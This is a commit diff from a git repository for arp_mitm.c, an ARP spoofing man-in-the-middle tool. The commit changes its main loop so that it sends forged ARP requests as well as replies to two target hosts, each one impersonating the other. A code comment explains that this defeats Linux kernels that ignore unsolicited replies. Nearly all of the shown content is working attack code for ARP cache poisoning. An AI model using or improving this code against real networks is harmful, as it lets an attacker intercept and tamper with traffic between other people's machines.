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Better spoofing by using both requests and replies

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Dimitri Lozeve 2016-05-27 16:27:37 +02:00
parent f8320a04ce
commit 9c19bba5ec
1 changed files with 6 additions and 0 deletions
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6
arp_mitm.c
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@ -138,9 +138,15 @@ int main(int argc, char **argv)
macaddr2[0],macaddr2[1],macaddr2[2], macaddr2[0],macaddr2[1],macaddr2[2],
macaddr2[3],macaddr2[4],macaddr2[5]); macaddr2[3],macaddr2[4],macaddr2[5]);
/* We send ARP requests and replies to both targets, impersonating
the other. We use both requests and replies because some devices
(linux > 2.4.x for example) don't update their ARP cache on
unsolicited replies, but do on queries. */
while(1) { while(1) {
send_arp_request(sockfd, ifindex, ipaddr1, macaddr, target2_ip);
send_arp_reply(sockfd, ifindex, ipaddr1, macaddr, target2_ip, macaddr2); send_arp_reply(sockfd, ifindex, ipaddr1, macaddr, target2_ip, macaddr2);
sleep(1); sleep(1);
send_arp_request(sockfd, ifindex, ipaddr2, macaddr, target1_ip);
send_arp_reply(sockfd, ifindex, ipaddr2, macaddr, target1_ip, macaddr1); send_arp_reply(sockfd, ifindex, ipaddr2, macaddr, target1_ip, macaddr1);
sleep(1); sleep(1);
} }